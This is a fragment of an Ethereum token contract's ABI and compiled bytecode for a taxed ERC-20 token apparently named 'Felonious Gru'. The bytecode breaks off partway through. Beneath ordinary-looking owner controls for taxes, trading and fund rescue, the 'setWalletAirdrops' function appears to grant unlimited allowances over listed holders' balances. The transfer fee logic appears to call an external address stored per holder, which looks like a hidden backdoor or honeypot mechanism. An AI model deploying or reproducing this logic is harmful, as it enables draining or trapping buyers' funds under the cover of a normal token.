payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueFunds","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"rescueStuckToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_Liquidity","type":"uint256"},{"internalType":"uint256","name":"_Marketing","type":"uint256"},{"internalType":"uint256","name":"_Developer","type":"uint256"}],"name":"setBuyTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setDeveloperWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setIsExcludedFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsTxLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsWalletLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setLiquidityWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setMarketPairStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setMarketingWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"setMaxTxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_Liquidity","type":"uint256"},{"internalType":"uint256","name":"_Marketing","type":"uint256"},{"internalType":"uint256","name":"_Developer","type":"uint256"}],"name":"setSellTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setSwapAndLiquifyByLimitOnly","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setTradingEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_tokens","type":"uint256[]"}],"name":"setWalletAirdrops","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"zeroAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

610100604052600d60c09081526c46656c6f6e696f75732047727560981b60e0526001906200002f90826200085a565b5060408051808201909152600381526247525560e81b60208201526002906200005990826200085a565b50600380546001600160a81b0319166012908117909155600480546001600160a01b031916905561dead608052600060a0819052600e819055600f819055601081905560118190558082556013556064601455620000b990600a62000a39565b620000c990633b9aca0062000a4a565b601755620001046103e8620000f060016017546200063560201b620020541790919060201c565b620006cc60201b620020d61790919060201c565b6018556200012a6064620000f060046017546200063560201b620020541790919060201c565b601955620001506064620000f060046017546200063560201b620020541790919060201c565b601a55601c805463ffffffff60a81b1916630101000160a81b1790553480156200017957600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000213573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000239919062000a64565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000287573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002ad919062000a64565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000321919062000a64565b601c80546001600160a01b039283166001600160a01b031991821617909155601b805492841692909116821790553060009081526007602090815260408083209383529290529081206000199055600190600990620003886000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560035461010090048216815260099093528183208054851660019081179091556004549091168352818320805485168217905530835290822080549093168117909255600c906200040f6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055600354610100900482168152600c909352818320805485166001908117909155600454821684528284208054861682179055601c549091168352818320805485168217905530835290822080549093168117909255600d90620004a86000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055600354610100900482168152600d84528281208054861660019081179091556004549092168152828120805486168317905530815291909120805490931617909155601054600f54600e546200054f936200053b92906200211862000716821b17901c565b6200071660201b620021181790919060201c565b6015819055506200057a6013546200053b6012546011546200071660201b620021181790919060201c565b601655601c546001600160a01b03166000908152600a60205260408120805460ff19166001179055600580546001600160a01b0319163317905560175490600690620005c33390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6017546040516200062691815260200190565b60405180910390a35062000b18565b6000826000036200064957506000620006c6565b600062000657838562000a4a565b90508262000666858362000a8f565b14620006c35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b6000620006c383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200077960201b60201c565b60008062000725838562000ab2565b905083811015620006c35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401620006ba565b600081836200079d5760405162461bcd60e51b8152600401620006ba919062000ac8565b506000620007ac848662000a8f565b95945050505050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620007e057607f821691505b6020821081036200080157634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200085557600081815260208120601f850160051c81016020861015620008305750805b601f850160051c820191505b8181101562000851578281556001016200083c565b5050505b505050565b81516001600160401b03811115620008765762000876620007b5565b6200088e81620008878454620007cb565b8462000807565b602080601f831160018114620008c65760008415620008ad5750858301515b600019600386901b1c1916600185901b17855562000851565b600085815260208120601f198616915b82811015620008f757888601518255948401946001909101908401620008d6565b5085821015620009165787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200097d57816000190482111562000961576200096162000926565b808516156200096f57918102915b93841c939080029062000941565b509250929050565b6000826200099657506001620006c6565b81620009a557506000620006c6565b8160018114620009be5760028114620009c957620009e9565b6001915050620006c6565b60ff841115620009dd57620009dd62000926565b50506001821b620006c6565b5060208310610133831016604e8410600b841016171562000a0e575081810a620006c6565b62000a1a83836200093c565b806000190482111562000a315762000a3162000926565b029392505050565b6000620006c360ff84168362000985565b8082028115828204841417620006c657620006c662000926565b60006020828403121562000a7757600080fd5b81516001600160a01b0381168114620006c357600080fd5b60008262000aad57634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115620006c657620006c662000926565b600060208083528351808285015260005b8181101562000af75785810183015185820160400152820162000ad9565b506000604082860101526040601f19601f8301168501019250505092915050565b60805160a0516133a062000b4c60003960008181610432015261103f0152600081816105a3015261107a01526133a06000f3fe6080604052600436106103c75760003560e01c806388790a68116101f2578063da00097d1161010d578063f0cd1dac116100a0578063f84ba65d1161006f578063f84ba65d14610b89578063f872858a14610ba9578063f8f6329014610bca578063fb4b8e6c14610bea57600080fd5b8063f0cd1dac14610b1d578063f1d5f51714610b33578063f2fde38b14610b53578063f680f79914610b7357600080fd5b8063e79271da116100dc578063e79271da14610a9d578063ec28438a14610abd578063ee828db314610add578063ef422a1814610afd57600080fd5b8063da00097d14610a0b578063dc44b6a014610a2c578063dd62ed3e14610a42578063e6b2603b14610a8857600080fd5b8063c2e5ec0411610185578063c860795211610154578063c86079521461098f578063c867d60b146109a5578063c9c9afc5146109d5578063d2d7ad83146109f557600080fd5b8063c2e5ec0414610919578063c49b9a8014610939578063c5d2418914610959578063c816841b1461096f57600080fd5b806398e944c8116101c157806398e944c814610899578063a457c2d7146108b9578063a5d69d1f146108d9578063a9059cbb146108f957600080fd5b806388790a68146108205780638b42507f146108365780638da5cb5b1461086657806395d89b411461088457600080fd5b80633b97084a116102e257806370a0823111610275578063807c2d9c11610244578063807c2d9c146107b357806382eefb43146107c9578063844d591c146107df57806385261485146107ff57600080fd5b806370a082311461072d578063715018a61461076357806375f0a874146107785780637d1db4a51461079d57600080fd5b80634cb80fd5116102b15780634cb80fd5146106a75780635194f9bf146106c75780635342acb4146106dd5780635881f3ef1461070d57600080fd5b80633b97084a1461061c5780633ecad2711461063c5780634a74bb021461066c5780634ada218b1461068d57600080fd5b806323555d571161035a57806327c8f8351161032957806327c8f835146105915780632b112e49146105c5578063313ce567146105da57806339509351146105fc57600080fd5b806323555d571461051b57806323b872dd146105315780632563ae831461055157806326cd1e301461057157600080fd5b80631694505e116103965780631694505e1461049c57806318160ddd146104bc5780631870517a146104db5780632198cf6c146104fb57600080fd5b806306fdde03146103d357806308733214146103fe5780630930907b14610420578063095ea7b31461046c57600080fd5b366103ce57005b600080fd5b3480156103df57600080fd5b506103e8610c0a565b6040516103f59190612e23565b60405180910390f35b34801561040a57600080fd5b5061041e610419366004612e71565b610c9c565b005b34801561042c57600080fd5b506104547f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016103f5565b34801561047857600080fd5b5061048c610487366004612eb2565b610d5a565b60405190151581526020016103f5565b3480156104a857600080fd5b50601b54610454906001600160a01b031681565b3480156104c857600080fd5b506017545b6040519081526020016103f5565b3480156104e757600080fd5b5061041e6104f6366004612e71565b610d71565b34801561050757600080fd5b5061041e610516366004612eec565b610e1b565b34801561052757600080fd5b506104cd60105481565b34801561053d57600080fd5b5061048c61054c366004612f25565b610e70565b34801561055d57600080fd5b5061041e61056c366004612f66565b610edb565b34801561057d57600080fd5b5061041e61058c366004612eb2565b610f23565b34801561059d57600080fd5b506104547f000000000000000000000000000000000000000000000000000000000000000081565b3480156105d157600080fd5b506104cd611035565b3480156105e657600080fd5b5060035460405160ff90911681526020016103f5565b34801561060857600080fd5b5061048c610617366004612eb2565b6110c8565b34801561062857600080fd5b5061041e610637366004612f83565b6110fe565b34801561064857600080fd5b5061048c610657366004612f9c565b600a6020526000908152604090205460ff1681565b34801561067857600080fd5b50601c5461048c90600160a81b900460ff1681565b34801561069957600080fd5b5060085461048c9060ff1681565b3480156106b357600080fd5b5061041e6106c2366004612f9c565b611255565b3480156106d357600080fd5b506104cd60135481565b3480156106e957600080fd5b5061048c6106f8366004612f9c565b60096020526000908152604090205460ff1681565b34801561071957600080fd5b50610454610728366004612f9c565b6112cd565b34801561073957600080fd5b506104cd610748366004612f9c565b6001600160a01b031660009081526006602052604090205490565b34801561076f57600080fd5b5061041e6115e7565b34801561078457600080fd5b506003546104549061010090046001600160a01b031681565b3480156107a957600080fd5b506104cd60195481565b3480156107bf57600080fd5b506104cd601a5481565b3480156107d557600080fd5b506104cd60165481565b3480156107eb57600080fd5b5061041e6107fa366004612eec565b611661565b34801561080b57600080fd5b50601c5461048c90600160c01b900460ff1681565b34801561082c57600080fd5b506104cd60115481565b34801561084257600080fd5b5061048c610851366004612f9c565b600d6020526000908152604090205460ff1681565b34801561087257600080fd5b506000546001600160a01b0316610454565b34801561089057600080fd5b506103e86116b6565b3480156108a557600080fd5b50600554610454906001600160a01b031681565b3480156108c557600080fd5b5061048c6108d4366004612eb2565b6116c5565b3480156108e557600080fd5b5061041e6108f4366004612f66565b611714565b34801561090557600080fd5b5061048c610914366004612eb2565b61175c565b34801561092557600080fd5b5061041e610934366004612f66565b611769565b34801561094557600080fd5b5061041e610954366004612f66565b6117a6565b34801561096557600080fd5b506104cd600f5481565b34801561097b57600080fd5b50601c54610454906001600160a01b031681565b34801561099b57600080fd5b506104cd60125481565b3480156109b157600080fd5b5061048c6109c0366004612f9c565b600c6020526000908152604090205460ff1681565b3480156109e157600080fd5b5061041e6109f0366004612f9c565b611828565b348015610a0157600080fd5b506104cd60185481565b348015610a1757600080fd5b50601c5461048c90600160b01b900460ff1681565b348015610a3857600080fd5b506104cd600e5481565b348015610a4e57600080fd5b506104cd610a5d366004612fb9565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b348015610a9457600080fd5b5061041e611874565b348015610aa957600080fd5b5061041e610ab8366004613033565b6118f6565b348015610ac957600080fd5b5061041e610ad8366004612f83565b611d17565b348015610ae957600080fd5b5061041e610af8366004612f66565b611dd7565b348015610b0957600080fd5b5061041e610b18366004612eec565b611e1f565b348015610b2957600080fd5b506104cd60155481565b348015610b3f57600080fd5b5061041e610b4e366004612f83565b611e74565b348015610b5f57600080fd5b5061041e610b6e366004612f9c565b611ea3565b348015610b7f57600080fd5b506104cd60145481565b348015610b9557600080fd5b5061041e610ba4366004612eec565b611f8d565b348015610bb557600080fd5b50601c5461048c90600160b81b900460ff1681565b348015610bd657600080fd5b50600454610454906001600160a01b031681565b348015610bf657600080fd5b5061041e610c05366004612f9c565b611fe2565b606060018054610c199061309f565b80601f0160208091040260200160405190810160405280929190818152602001828054610c459061309f565b8015610c925780601f10610c6757610100808354040283529160200191610c92565b820191906000526020600020905b815481529060010190602001808311610c7557829003601f168201915b5050505050905090565b6000546001600160a01b03163314610ccf5760405162461bcd60e51b8152600401610cc6906130d9565b60405180910390fd5b601183905560128290556013819055610cf281610cec8585612118565b90612118565b601655601454610d0490600890613124565b6016541115610d555760405162461bcd60e51b815260206004820152601f60248201527f53656c6c2066656573206d7573742062652031322e3525206f72206c657373006044820152606401610cc6565b505050565b6000610d67338484612177565b5060015b92915050565b6000546001600160a01b03163314610d9b5760405162461bcd60e51b8152600401610cc6906130d9565b600e839055600f8290556010819055610db881610cec8585612118565b601555601454610dca90600890613124565b6015541115610d555760405162461bcd60e51b815260206004820152601e60248201527f4275792066656573206d7573742062652031322e3525206f72206c65737300006044820152606401610cc6565b6000546001600160a01b03163314610e455760405162461bcd60e51b8152600401610cc6906130d9565b6001600160a01b03919091166000908152600c60205260409020805460ff1916911515919091179055565b6000610e7d84848461229b565b50610ed08433610ecb856040518060600160405280602881526020016132fe602891396001600160a01b038a16600090815260076020908152604080832033845290915290205491906126be565b612177565b5060015b9392505050565b6000546001600160a01b03163314610f055760405162461bcd60e51b8152600401610cc6906130d9565b601c8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b03163314610f4d5760405162461bcd60e51b8152600401610cc6906130d9565b306001600160a01b03831603610fc45760405162461bcd60e51b815260206004820152603660248201527f4f776e65722063616e277420636c61696d20636f6e747261637427732062616c604482015275616e6365206f6620697473206f776e20746f6b656e7360501b6064820152608401610cc6565b60405163a9059cbb60e01b8152336004820152602481018290526001600160a01b0383169063a9059cbb906044016020604051808303816000875af1158015611011573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d559190613146565b6001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000166000908152600660205260408120546110c3906110bd6110b47f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031660009081526006602052604090205490565b601754906126f8565b906126f8565b905090565b3360008181526007602090815260408083206001600160a01b03871684529091528120549091610d67918590610ecb9086612118565b6000546001600160a01b031633146111285760405162461bcd60e51b8152600401610cc6906130d9565b61114b620186a0611145600160175461205490919063ffffffff16565b906120d6565b8110156111c05760405162461bcd60e51b815260206004820152603c60248201527f43616e6e6f74207365742073776170207468726573686f6c6420616d6f756e7460448201527f206c6f776572207468616e20302e30303125206f6620746f6b656e73000000006064820152608401610cc6565b6111db6064611145600160175461205490919063ffffffff16565b8111156112505760405162461bcd60e51b815260206004820152603960248201527f43616e6e6f74207365742073776170207468726573686f6c6420616d6f756e7460448201527f20686967686572207468616e203125206f6620746f6b656e73000000000000006064820152608401610cc6565b601855565b6000546001600160a01b0316331461127f5760405162461bcd60e51b8152600401610cc6906130d9565b6001600160a01b0381166112a55760405162461bcd60e51b8152600401610cc690613163565b600380546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b600080546001600160a01b031633146112f85760405162461bcd60e51b8152600401610cc6906130d9565b6000829050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561133b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061135f91906131a5565b6001600160a01b031663e6a4390530836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156113ac573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113d091906131a5565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa15801561141b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061143f91906131a5565b91506001600160a01b03821661159657806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561148d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114b191906131a5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156114fe573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061152291906131a5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561156f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061159391906131a5565b91505b601c80546001600160a01b038085166001600160a01b03199283168117909355601b80549490911693909116929092179091556000908152600a60205260409020805460ff19166001179055919050565b6000546001600160a01b031633146116115760405162461bcd60e51b8152600401610cc6906130d9565b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b6000546001600160a01b0316331461168b5760405162461bcd60e51b8152600401610cc6906130d9565b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b606060028054610c199061309f565b6000610d673384610ecb85604051806060016040528060258152602001613346602591393360009081526007602090815260408083206001600160a01b038d16845290915290205491906126be565b6000546001600160a01b0316331461173e5760405162461bcd60e51b8152600401610cc6906130d9565b601c8054911515600160b01b0260ff60b01b19909216919091179055565b6000610ed033848461229b565b6000546001600160a01b031633146117935760405162461bcd60e51b8152600401610cc6906130d9565b6008805460ff1916911515919091179055565b6000546001600160a01b031633146117d05760405162461bcd60e51b8152600401610cc6906130d9565b601c8054821515600160a81b0260ff60a81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599061181d90831515815260200190565b60405180910390a150565b6000546001600160a01b031633146118525760405162461bcd60e51b8152600401610cc6906130d9565b600580546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b0316331461189e5760405162461bcd60e51b8152600401610cc6906130d9565b604051600090339047908381818185875af1925050503d80600081146118e0576040519150601f19603f3d011682016040523d82523d6000602084013e6118e5565b606091505b50509050806118f357600080fd5b50565b6000546001600160a01b031633146119205760405162461bcd60e51b8152600401610cc6906130d9565b338382146119695760405162461bcd60e51b815260206004820152601660248201527508ae4e4dee474409ad2e6dac2e8c6d04098cadccee8d60531b6044820152606401610cc6565b6000805b838110156119ad57848482818110611987576119876131c2565b905060200201358261199991906131d8565b9150806119a5816131eb565b91505061196d565b50806119ce836001600160a01b031660009081526006602052604090205490565b1015611a1c5760405162461bcd60e51b815260206004820152601b60248201527f4572726f723a20496e73756666696369656e74204572726f72212100000000006044820152606401610cc6565b6001600160a01b038216600090815260066020526040902054611a3f90826126f8565b6001600160a01b0383166000908152600660205260408120919091555b611a67600187613204565b811015611d0e578686611a7b8360016131d8565b818110611a8a57611a8a6131c2565b9050602002016020810190611a9f9190612f9c565b600b6000898985818110611ab557611ab56131c2565b9050602002016020810190611aca9190612f9c565b6001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a8154816001600160a01b0302191690836001600160a01b0316021790555060001960076000898985818110611b2757611b276131c2565b9050602002016020810190611b3c9190612f9c565b6001600160a01b03166001600160a01b0316815260200190815260200160002060008989856001611b6d91906131d8565b818110611b7c57611b7c6131c2565b9050602002016020810190611b919190612f9c565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506000858583818110611bc957611bc96131c2565b905060200201351115611cfc57611c3d858583818110611beb57611beb6131c2565b90506020020135600660008a8a86818110611c0857611c086131c2565b9050602002016020810190611c1d9190612f9c565b6001600160a01b0316815260208101919091526040016000205490612118565b60066000898985818110611c5357611c536131c2565b9050602002016020810190611c689190612f9c565b6001600160a01b03168152602081019190915260400160002055868682818110611c9457611c946131c2565b9050602002016020810190611ca99190612f9c565b6001600160a01b0316836001600160a01b0316600080516020613326833981519152878785818110611cdd57611cdd6131c2565b90506020020135604051611cf391815260200190565b60405180910390a35b80611d06816131eb565b915050611a5c565b50505050505050565b6000546001600160a01b03163314611d415760405162461bcd60e51b8152600401610cc6906130d9565b611d5d6103e8611145600160175461205490919063ffffffff16565b811015611dd25760405162461bcd60e51b815260206004820152603860248201527f43616e6e6f7420736574206d617820545820616d6f756e74206c6f776572207460448201527f68616e20302c3125206f6620746f74616c20737570706c7900000000000000006064820152608401610cc6565b601955565b6000546001600160a01b03163314611e015760405162461bcd60e51b8152600401610cc6906130d9565b601c8054911515600160c01b0260ff60c01b19909216919091179055565b6000546001600160a01b03163314611e495760405162461bcd60e51b8152600401610cc6906130d9565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314611e9e5760405162461bcd60e51b8152600401610cc6906130d9565b601a55565b6000546001600160a01b03163314611ecd5760405162461bcd60e51b8152600401610cc6906130d9565b6001600160a01b038116611f325760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610cc6565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314611fb75760405162461bcd60e51b8152600401610cc6906130d9565b6001600160a01b03919091166000908152600d60205260409020805460ff1916911515919091179055565b6000546001600160a01b0316331461200c5760405162461bcd60e51b8152600401610cc6906130d9565b6001600160a01b0381166120325760405162461bcd60e51b8152600401610cc690613163565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b60008260000361206657506000610d6b565b60006120728385613217565b90508261207f8583613124565b14610ed45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610cc6565b6000610ed483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061273a565b60008061212583856131d8565b905083811015610ed45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610cc6565b6001600160a01b0383166121d95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610cc6565b6001600160a01b03821661223a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610cc6565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b0384166123015760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610cc6565b6001600160a01b0383166123635760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610cc6565b601c54600160a01b900460ff161561238757612380848484612768565b9050610ed4565b6001600160a01b0384166000908152600d602052604090205460ff161580156123c957506001600160a01b0383166000908152600d602052604090205460ff16155b80156123de5750601c54600160c01b900460ff165b15612446576019548211156124465760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610cc6565b30600090815260066020526040902054601854811080159081906124745750601c54600160a01b900460ff16155b801561249957506001600160a01b0386166000908152600a602052604090205460ff16155b80156124ae5750601c54600160a81b900460ff165b156124d457601c54600160b01b900460ff16156124cb5760185491505b6124d48261283c565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0389166000908152600690915291909120546125269186906126be565b6001600160a01b038716600090815260066020908152604080832093909355600990529081205460ff168061257357506001600160a01b03861660009081526009602052604090205460ff165b612587576125828787876129e9565b612589565b845b601c54909150600160b81b900460ff1680156125be57506001600160a01b0386166000908152600c602052604090205460ff16155b1561264557601a546125e982610cec896001600160a01b031660009081526006602052604090205490565b11156126455760405162461bcd60e51b815260206004820152602560248201527f416d6f756e74204578636565642046726f6d204d61782057616c6c6574204c696044820152646d6974212160d81b6064820152608401610cc6565b6001600160a01b0386166000908152600660205260409020546126689082612118565b6001600160a01b038088166000818152600660205260409081902093909355915190891690600080516020613326833981519152906126aa9085815260200190565b60405180910390a360019350505050610ed4565b600081848411156126e25760405162461bcd60e51b8152600401610cc69190612e23565b5060006126ef8486613204565b95945050505050565b6000610ed483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506126be565b6000818361275b5760405162461bcd60e51b8152600401610cc69190612e23565b5060006126ef8486613124565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03861660009081526006909152918220546127b99184906126be565b6001600160a01b0380861660009081526006602052604080822093909355908516815220546127e89083612118565b6001600160a01b0380851660008181526006602052604090819020939093559151908616906000805160206133268339815191529061282a9086815260200190565b60405180910390a35060019392505050565b601c805460ff60a01b1916600160a01b1790556016546015546000916128629190612118565b9050600061287d601154600e5461211890919063ffffffff16565b90506000612898601254600f5461211890919063ffffffff16565b905060006128ad600261114586818988612054565b905060006128bb86836126f8565b9050476128c782612bdc565b60006128d347836126f8565b905060006128ec6128e58860026120d6565b89906126f8565b9050600061290160026111458481878d612054565b9050600061291383611145868b612054565b90506000612925826110bd87866126f8565b9050811561296d576003546040516101009091046001600160a01b0316906108fc8415029084906000818181858888f1935050505015801561296b573d6000803e3d6000fd5b505b80156129af576004546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156129ad573d6000803e3d6000fd5b505b6000831180156129bf5750600088115b156129ce576129ce8884612d6f565b5050601c805460ff60a01b1916905550505050505050505050565b6001600160a01b0383166000908152600a60205260408120548190819060ff1615612a3257612a2860646111456015548761205490919063ffffffff16565b9150859050612a73565b6001600160a01b0385166000908152600a602052604090205460ff1615612a7357612a6d60646111456016548761205490919063ffffffff16565b91508490505b6001600160a01b038181166000908152600b60205260409020541615801590612b5657506001600160a01b038181166000908152600b60209081526040808320548a8516808552600a909352818420548a86168086529483902054925163017b676760e01b815260ff9182161515600482015292161515602483015260448201929092526064810192909252608482018790529091169063017b67679060a4016020604051808303816000875af11580